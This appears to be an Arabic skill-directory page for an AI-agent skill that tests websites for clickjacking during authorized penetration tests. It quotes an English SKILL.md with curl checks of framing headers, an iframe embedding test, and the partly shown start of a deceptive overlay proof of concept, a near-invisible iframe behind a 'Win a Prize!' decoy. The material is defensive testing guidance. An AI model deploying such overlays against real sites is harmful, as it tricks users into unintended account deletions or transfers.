performing-clickjacking-attack-test
ما الذي تفعله
تختبر هذه المهارة إن كان يمكن خداع موقع ما ليجعل المستخدم يضغط على شيء لا يراه، مثل زر حذف أو زر تحويل. تفحص حماية الموقع، وتُنشئ دليل إثبات مفهوم يوضح كيف تعمل الهجمة.
متى تستخدمها
- ✓عندما تختبر أمان موقع بإذن.
- ✓عندما تتحقق مما إذا كان يمكن تنفيذ إجراء مهم، مثل حذف حساب، دون تأكيد إضافي.
- ✓عندما تقيّم المواقع التي تتعامل مع الأموال أو المعلومات الشخصية.
رابط المهارة
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-clickjacking-attack-test/SKILL.mdانسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.
طريقة الاستخدام
أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.
رسالة جاهزة للصق
لـ Claude Code أو Codex أو Cursor: شغّله داخل مجلد مشروعك وستُثبَّت المهارة.
نزّل ملف SKILL.md وضعه في مجلد مهارات وكيلك.
مثال على ما تطلبه من الذكاء الاصطناعي
“تحقق مما إذا كان يمكن استخدام الموقع «example.com» في هجوم Clickjacking لحذف حساب المستخدم.”
5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.
كيف تعمل
أولًا تفحص المهارة «قواعد» الموقع لمعرفة إن كان يسمح بعرض نفسه داخل مواقع أخرى. ثم تحاول عرض الموقع داخل «إطار» غير مرئي، وإن نجحت تُنشئ صفحة مزيفة تخفي الموقع الحقيقي تحتها، فيضغط المستخدم على شيء خطر دون أن يدري.
المحتوى التقني (ملف SKILL.md الأصلي)
النص الأصلي من المؤلف، مباشرة من GitHub.
Performing Clickjacking Attack Test
When to Use
- During authorized penetration tests when assessing UI redressing vulnerabilities
- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking
- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives
- When assessing applications that process one-click actions without additional confirmation
- During security audits of applications handling financial transactions or account management
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Web browser: Modern browser for testing iframe embedding
- Local web server: Python
http.serveror similar for hosting PoC pages - Burp Suite: For examining response headers
- HTML/CSS knowledge: For crafting clickjacking overlay pages
- curl: For checking framing headers on target pages
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Check Frame Embedding Protections
Examine response headers for anti-clickjacking defenses.
# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)
# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN
# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
/admin/dashboard /change-password /change-email; do
echo -n "$page: "
headers=$(curl -s -I "https://target.example.com$page")
xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
if [ -z "$xfo" ] && [ -z "$csp" ]; then
echo "NO PROTECTION"
else
echo "${xfo:-none} | ${csp:-none}"
fi
done
# Check if JavaScript frame-busting is used (weak protection)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"
Step 2: Test Basic Iframe Embedding
Attempt to embed the target page in an iframe to confirm vulnerability.
<!-- basic-frame-test.html -->
<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>
<!-- Test basic framing -->
<iframe src="https://target.example.com/account/settings"
width="800" height="600"
style="border: 2px solid red;">
</iframe>
<p>If you see "Refused to display" in console or blank iframe,
the page has frame protection.</p>
</body>
</html>
# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors
Step 3: Craft Clickjacking Proof of Concept
Build an overlay attack that tricks users into clicking hidden elements.
<!-- clickjacking-poc.html -->
<html>
<head>
<title>Win a Prize!</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
/* Invisible iframe containing target page */
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001; /* Nearly invisible */
z-index: 2; /* On top of decoy */
border: none;
}
/* Decoy content that tricks the user */
#decoy {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
background: white;
}
/* Position the "Click here" button exactly over the target's
sensitive button (adjust top/left values based on target layout) */
#click-bait {
position: absolute;
…
الأسئلة الشائعة
ما هو Clickjacking؟
هو هجوم يعرض فيه موقع خبيث موقعًا شرعيًا بشكل غير مرئي أو متنكر، ويخدع المستخدم ليضغط على أزرار أو روابط في ذلك الموقع الشرعي، فينفذ إجراءات لم يقصدها.
هل أحتاج إلى إذن لاستخدام هذه المهارة؟
نعم، تحتاج إلى تصريح كتابي صريح من مالك الموقع لإجراء هذا الاختبار. استخدامها دون إذن غير قانوني.
ما الأدوات المطلوبة؟
تحتاج إلى متصفح ويب، وخادم ويب بسيط (مثل http.server في Python)، وأدوات مثل Burp Suite وcurl لفحص إعدادات الموقع.
التفاصيل
الوصف الأصلي من المؤلف
Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.
الشعبية
- نجوم GitHub
- 35k
- الترتيب
- #8197
- الترخيص
- Apache-2.0
- آخر تحديث
- 31/8/2026
التعليقات
- …
المزيد من المهارات من هذا المستودع
abusing-dpapi-for-credential-access
35kيمنح وكيل الذكاء الاصطناعي تعليمات جاهزة لمهمة محددة، ليؤديها بشكل أفضل وأسرع.
abusing-shadow-credentials-for-privesc
35kيعلّم وكيل الذكاء الاصطناعي لديك كتابة نص واضح ومنظم جيدًا.
achieving-cmmc-level-2-compliance
35kيساعد وكيلك على تجهيز بيئة للامتثال لمستوى CMMC 2. يطبق متطلبات الأمان ويدير الوثائق اللازمة.
acquiring-disk-image-with-dd-and-dcfldd
35kيساعد وكيلك على إنشاء نسخ مطابقة تمامًا لأقراص التخزين. هذا مفيد لضمان عدم فقدان أي معلومات أو تغييرها أثناء التحقيقات.
مهارات مشابهة
reverse-engineer-anything
422kيساعد وكيلك على فحص التطبيقات والحزم المنشورة من الداخل ليشرح الميزات ويقارن الإصدارات ويرشد إلى إعادة البناء، باستخدام أداة REA.
1password
394kيساعد وكيلك على إعداد واجهة سطر أوامر 1Password وتسجيل الدخول، وقراءة الأسرار أو حقنها دون طباعة قيمها في المحادثة.
healthcheck
394kيساعد وكيلك على تدقيق جهاز OpenClaw أو خادمه أمنيًا، مثل SSH والجدار الناري والتحديثات، ويقترح إصلاحات آمنة قابلة للتراجع.